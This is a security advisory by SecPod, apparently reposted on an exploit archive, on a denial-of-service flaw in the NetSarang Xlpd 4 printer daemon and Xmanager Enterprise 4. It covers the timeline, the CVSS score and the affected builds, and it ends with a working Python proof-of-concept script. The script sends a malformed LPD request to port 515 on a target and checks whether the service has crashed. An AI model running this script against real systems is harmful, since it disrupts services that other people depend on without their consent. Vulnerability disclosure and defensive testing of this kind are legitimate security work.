NetSarang Xlpd Printer Daemon 4 Denial of Service Vulnerability

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#
# Title    : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netsarang.com
# Advisory : http://secpod.org/blog/?p=457
#            http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
# Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186
# Date     : 01/02/2012
#
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SecPod ID: 1033                 14/12/2011 Issue Discovered
                        20/01/2012 Vendor Notified
                        No Response
                        01/02/2012 Advisory Released
Class: Denial Of Service            Severity: Medium
Overview:
---------
NetSarang Xlpd Printer Daemon version 4 is prone to a denial of service
vulnerability.
Technical Description:
----------------------
The vulnerability is caused due to improper validation of malicious LPD
request sent to printer daemon, which allows remote attackers to crash the
service.
Impact:
--------
Successful exploitation could allow an attacker to cause denial of service
condition.
Affected Software:
------------------
NetSarang Xlpd 4 Build 0100
NetSarang Xmanager Enterprise 4 Build 0186
Tested on:
-----------
NetSarang Xlpd 4 Build 0100 on Windows XP SP3.
NetSarang Xmanager Enterprise 4 Build 0186 on Windows XP SP3.
Older versions might be affected.
References:
-----------
http://www.netsarang.com
http://secpod.org/blog/?p=457
Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
Solution:
----------
Not available
Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = NONE
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = PARTIAL
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
        Risk factor            = Medium
Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
#!/usr/bin/python
##############################################################################
#
# Title    : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netsarang.com
# Advisory : http://secpod.org/blog/?p=457
#            http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
# Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186
# Date     : 01/02/2012
#
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import socket,sys,time
port = 515
if len(sys.argv) < 2:
    print "\n[-] Usage: %s <target addr>" % sys.argv[0]
    sys.exit(0)
target = sys.argv[1]
sockObj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    sockObj.connect((target,port))
except:
    print "\n[-] Xlpd service is down."
    sys.exit(0)
sockObj.send("crap"+"LF")
sockObj.send("LF")
#Will wait for a while
time.sleep(5)
sockObj.close()
try:
    sockObj.connect((target,port))
except:
    print "\n[-] Xlpd service is crashed, unble to connect"
sys.exit(0)



#  0day.today [2018-01-26]  #